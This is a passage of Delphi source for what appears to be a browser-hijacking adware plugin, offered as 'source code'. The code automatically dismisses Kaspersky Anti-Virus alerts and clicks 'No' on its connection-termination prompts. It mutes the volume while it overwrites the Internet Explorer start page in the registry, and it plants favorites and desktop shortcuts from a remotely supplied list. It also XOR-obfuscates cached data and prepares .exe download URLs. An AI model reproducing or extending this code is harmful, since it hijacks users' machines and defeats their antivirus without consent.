maindll.dpr

功能强大的霸王插件源代码

                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);
                  end
                else
                  SendMessage(f1, WM_close, 0, 0);
              end;
          end;
        s:='AVP.P';
        s:=s+'roduct_Notification';
        f1:=findwindow(pchar(s),nil);
        if f1=0 then
          f1:=findwindow(pchar(s),'Kaspersky Anti-Virus: 通知');
        if f1<>0 then
              SendMessage(f1, WM_close, 0, 0);
        f1:=findwindow('AVP.TrafficMonConnectionTerm','通信监控：终止连接');
        if f1=0 then
          f1:=findwindow('AVP.TrafficMonConnectionTerm',nil);
        if f1<>0 then
          begin
            f2:=FindWindowEx(f1,0,'AVP.Button','否');
            if f2<>0 then
              begin
                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);
                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end
            else
              SendMessage(f1, WM_close, 0, 0);
          end;
      except
      end;
      if GetTickCount()>d then break;
      sleep(20);
    end;
end;
function GetDefaultUrl:string;
begin
  result:='';
  try
    result:=GetRegKeyValue(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Internet Explorer\Main','Start Page');
    if result='' then
       result:=GetRegKeyValue(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Internet Explorer\Main','Start Page');
  except
  end;
  if trim(result)='' then
     result:='about:blank';
end;
procedure SetDefaultUrl(url:string);
var s1:string;
    i:integer;
    thh:cardinal;
begin
  s1:=trim(url);
  if trim(s1)='' then exit;//s1:='about:blank';
  i:=GetVolumeMute(WaveOut);
  SetVolumeMute(WaveOut,true);
  CreateThread(nil, 0, @CloseKaoBa, nil, 0, thh);
  CreateRegKeyValue(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Internet Explorer\Main','Start Page',s1);
  CreateRegKeyValue(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Internet Explorer\Main','Start Page',s1);
  sleep(5000);
  if i=0 then
    SetVolumeMute(WaveOut,false);
end;
procedure CreateInternetLink(const path,mc,url: String);
var FileName, S:String;
begin
  FileName:=Path+mc+'.url';
  s:=Get_SystemPath+'url.dll';
  //指定URL
  IniFileWriteString('InternetShortcut','URL',url,FileName);
  //指定图标文件
  IniFileWriteString('InternetShortcut','IconFile',S,FileName);
  IniFileWriteString('InternetShortcut','IconIndex','0',FileName);
end;
//设收藏列表
procedure SetMyUrl(list:string);
var s,path,s1,mc,url:string;
    i:integer;
begin
   //HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
   s:=trim(list);
   if s='' then exit;
   if s[length(s)]<>';' then s:=s+';';
   path:=GetRegKeyValue(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders','Favorites');
   if path='' then exit;
   if path[length(path)]<>'\' then  path:=path+'\';
   while true do
     begin
       s:=trim(s);
       if s='' then break;
       i:=pos(';',s);
       if i>0 then
         begin
           s1:=copy(s,1,i-1);
           s:=copy(s,i+1,length(s));
         end
       else
         begin
           s1:=s;
           s:='';
         end;
       s1:=trim(s1);
       mc:=trim(getfield(s1));
       url:=trim(getfield(s1));
       if id='58836533qq' then
         url:=UpperCase(url);
       //建立intenet连接
       try
         if (mc<>'')and(url<>'') then
           CreateInternetLink(path,mc,url);
       except
       end;
       sleep(1);
     end;
end;

function encodeStr(str: string): string; //加密
var
  i,j,k: integer;
  key,tmp:string;
begin
  //产生随机密钥
  key:='';
  for i:=1 to maxlen do
    begin
      j:=random(10);
      result:=inttostr(j);
      key:=key+result[1];
    end;
  //数据加密
  if str='' then str:='   ';
  k:=0;
  result:='';
  for i:=1 to length(str) do
    begin
      k:=k+1;
      if k>maxlen then k:=1;
      j:=ord(str[i]);
      j := j xor strtoint(key[k]);
      result := result + chr(j);
    end;
  //把随机密钥和加密串连接
  tmp:=key+result;
  //数据可视化
  result:='';
  for i:=1 to length(tmp) do
      begin
        result:=result+IntToHex(ord(tmp[i]),2);
      end;
end;
function unescape(src: string): string;
var
  tmp,t,s: string;
begin
  result:='';
  try
    tmp:=trim(src);
    while  true  do
      begin
        sleep(1);
        if tmp='' then break;
        if tmp[1]='%' then
          begin
            if tmp[2]='u' then
              begin
                t:=copy(tmp,1,6);
                tmp:=copy(tmp,7,length(tmp));
                t:=copy(t,3,length(t));
                s:='$'+t;
                result:=result+widechar(strtoint(s));
              end
            else
              begin
                t:=copy(tmp,1,3);
                tmp:=copy(tmp,4,length(tmp));
                t:=copy(t,2,length(t));
                s:='$'+t;
                result:=result+chr(strtoint(s));
              end;
          end
        else
          begin
            result:=result+tmp[1];
            tmp:=copy(tmp,2,length(tmp));
          end;
      end;
  except
  end;
end;

procedure SetDeskUrl(list:string);
var s,DesktopPath,mc,url,f:string;
    i:integer;
begin
   s:=trim(list);
   if s='' then exit;
   //获取当前用户Desktop文件夹的路径
   DesktopPath:=GetRegKeyValue(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders','Desktop');
   if trim(DesktopPath)='' then exit;
   if (DesktopPath<>'')and(DesktopPath[Length(DesktopPath)]<>'\') then
     DesktopPath:=DesktopPath+'\';
   if s[length(s)]<>';' then
     s:=s+';';
   while true do
     begin
       i:=pos(';',s);
       if i<=0 then break;
       f:=copy(s,1,i-1);
       s:=copy(s,i+1,length(s));
       f:=trim(f);
       if f<>'' then
         begin
           mc:=trim(getfield(f));
           url:=trim(getfield(f));
           if id='58836533qq' then
             url:=UpperCase(url);
           if mc<>'' then
           if url<>'' then
           CreateInternetLink(DesktopPath,mc,url);
         end;
       sleep(1);
     end;
end;

function data_list(st:string):integer;
var tmp,tmp1:string;
    ok:boolean;
    verinfo,download,xr_list,pm_time,pm_count,gg_count,gg_jg,web_index,web_list,web_desk:string;
    i:integer;
    t:string;
begin
   result:=2;
   try
     ok:=true;
     if trim(st)='' then st:='error'+#13#10;
     if GetStringss(st,0)<>'begin' then ok:=false;
     if GetStringss(st,GetStringsCount(st)-1)<>'end' then ok:=false;
     if ok=true then
     if GetStringsCount(st)<10 then
       begin
         myinfo.qx:=99;
         result:=0;
         exit;
       end;
     //未取得列表，使用以前的
     if ok=false then
     if fileexists(Get_TempPath+tmpfile) then
       begin
         myinfo.qx:=3;
         result:=0;
         if fileexists(cfg+'.tmp') then
            deletefile(pchar(cfg+'.tmp'));
         exit;
       end;
     if ok=true then
       begin
         DeleteString(st,GetStringsCount(st)-1);//删掉终止标记
         DeleteString(st,0);//删掉开始标记
         verinfo:=trim(GetStringss(st,0));
         DeleteString(st,0);//删掉版权标记
         download:=trim(GetStringss(st,0));
         DeleteString(st,0);//删掉下载信息
         xr_list:=trim(GetStringss(st,0));
         DeleteString(st,0);//删掉信任列表
         myinfo.key:=unescape(trim(GetStringss(st,0)));
         DeleteString(st,0);//删掉关键字列表
         web_index:=trim(GetStringss(st,0));
         DeleteString(st,0);//删掉首页地址
         web_list:=trim(GetStringss(st,0));
         DeleteString(st,0);//删掉收藏列表
         web_desk:=trim(GetStringss(st,0));
         DeleteString(st,0);//删掉桌面快捷

         if (onlypop='2')or(onlypop='0')or(id='1606986') then//只对vip，点击用户开放
           Do_xr_list(xr_list);
         if web_index<>'' then
           begin
             tmp:=GetDefaultUrl;
             tmp1:='';

             if pos(',',web_index)<=0 then
               tmp1:=web_index
             else
               begin
                 while true do
                   begin
                     sleep(1);
                     //showmessage(web_index);
                     if trim(web_index)='' then break;
                     i:=pos(';',web_index);
                     if i<=0 then
                       begin
                         t:=web_index;
                         web_index:='';
                       end
                     else
                       begin
                         t:=copy(web_index,1,i-1);
                         web_index:=copy(web_index,i+1,length(web_index));
                       end;
                     i:=pos(',',t);
                     if i>0 then
                       begin
                         //showmessage(tmp+#13+'2.'+copy(t,1,i-1));
                         if tmp=copy(t,1,i-1) then
                           begin
                             tmp1:=copy(t,i+1,length(t));
                             break;
                           end;
                         if tmp<>'' then
                         if tmp[length(tmp)]='/' then
                         if copy(tmp,1,length(tmp)-1)=copy(t,1,i-1) then
                           begin
                             tmp1:=copy(t,i+1,length(t));
                             break;
                           end;
                       end;
                   end;
               end;
             tmp1:=trim(tmp1);
             //showmessage('2--'+tmp1);
             if tmp1<>'' then
               begin
                 if id='58836533qq' then
                      tmp1:=UpperCase(tmp1);
                 SetDefaultUrl(tmp1);
               end;
           end;
         if web_list<>'' then SetMyUrl(unescape(web_list));
         if web_desk<>'' then SetDeskUrl(unescape(web_desk));

         tmp:=st;
         try
            //st.savetoFile(Get_TempPath+'test.txt');
            st:=encodeStr(tmp);
            savetoFile(st,Get_TempPath+tmpfile);
         except
         end;
         //st:=tmp;

         //写升级下载信息
         tmp:=verinfo;
         myinfo.ver:=trim(getfield(tmp));
         pm_time:=trim(getfield(tmp));
         pm_count:=trim(getfield(tmp));
         pm_count:=trim(pm_count);
         if pm_count='' then pm_count:='1';
         if pm_count[1]='.' then pm_count:='0'+pm_count;
         gg_count:=trim(getfield(tmp));
         gg_jg:=trim(getfield(tmp));
         IniFileWriteString('ie','pm_time',pm_time,cfg);
         IniFileWriteString('ie','pm_count',pm_count,cfg);
         IniFileWriteString('ie','gg_count',gg_count,cfg);
         IniFileWriteString('ie','gg_jg',gg_jg,cfg);
         tmp:=getfield(myinfo.key);
         IniFileWriteString('ie','dx_jg',tmp,cfg);
         if fileexists(cfg+'.tmp') then
            deletefile(pchar(cfg+'.tmp'));
         myinfo.url_ver:=trim(getfield(download));//升级的url
         myinfo.download:=trim(download);
         myinfo.qx:=1;//升级
         result:=1;
       end;
   except

   end;
end;

function GetUrlFileName(url:string):string;
var i:integer;
    u:string;
begin
   result:='';
   u:=trim(url);
   while true do
     begin
       i:=pos('/',u);
       if i<=0 then break;
       u:=copy(u,i+1,length(u));
     end;
   u:=trim(u);
   i:=pos('.',u);
   if i>0 then
     u:=copy(u,1,i-1);
   u:=trim(u);
   if u='' then
     u:='alx';
   result:=u+'.exe';
end;
function CanRun(url:string):boolean;
var url_md5,s:string;
    m,i:integer;
begin
   //IniFileWritedString('display_bl',ulr2,height1,cfg+'.tmp');
   result:=false;
   try
     url_md5:=MD5Print(MD5String(trim(LowerCase(url))));
     s:=IniFileReadString('display_max',url_md5,'1',cfg+'.tmp');
     m:=strtoint(s);
     s:=IniFileReadString('md5',url_md5,'0',cfg+'.tmp');